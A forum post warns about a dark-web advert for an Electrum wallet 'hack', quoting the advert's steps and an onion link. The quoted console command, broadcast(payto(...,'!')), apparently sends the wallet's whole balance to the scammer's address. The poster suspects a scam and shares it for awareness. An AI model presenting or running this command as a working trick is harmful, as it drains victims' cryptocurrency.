First of all, sorry if this is a double/duplicate post - the system said that I had posted this but I cannot see it anywhere on the list...

Anyway, I have found out that there is an alleged Electrum Wallet 'Hack' being advertised over on the Dark Web...

 http://dbijk7dt2ovmaurzlm77mdtsig6kfpzfv4qlbqjj26n6fphj64tzjiyd.onion/

For those of you without TOR it reads thus:

'!! NEW ELECTRUM HACK !!

How to [Suspicious link removed] in electrum wallet works on 2021

Step1 - Click in View Tab Show Console

Step2 - Open console tab and put this command: broadcast(payto('12zWdJcSMRVMUyC6DF392petoMH7UX6DN9','!'))

Step3 - Hit enter button, if console shows message like this: txid....

Restart electrum and view your balance x2

Have fun with your free Money'


Now, I'm not going to tell people to try it out or to not try it out - I just want people to be aware that it exists.

IMO it's a scam, there's no way it can work... is there?
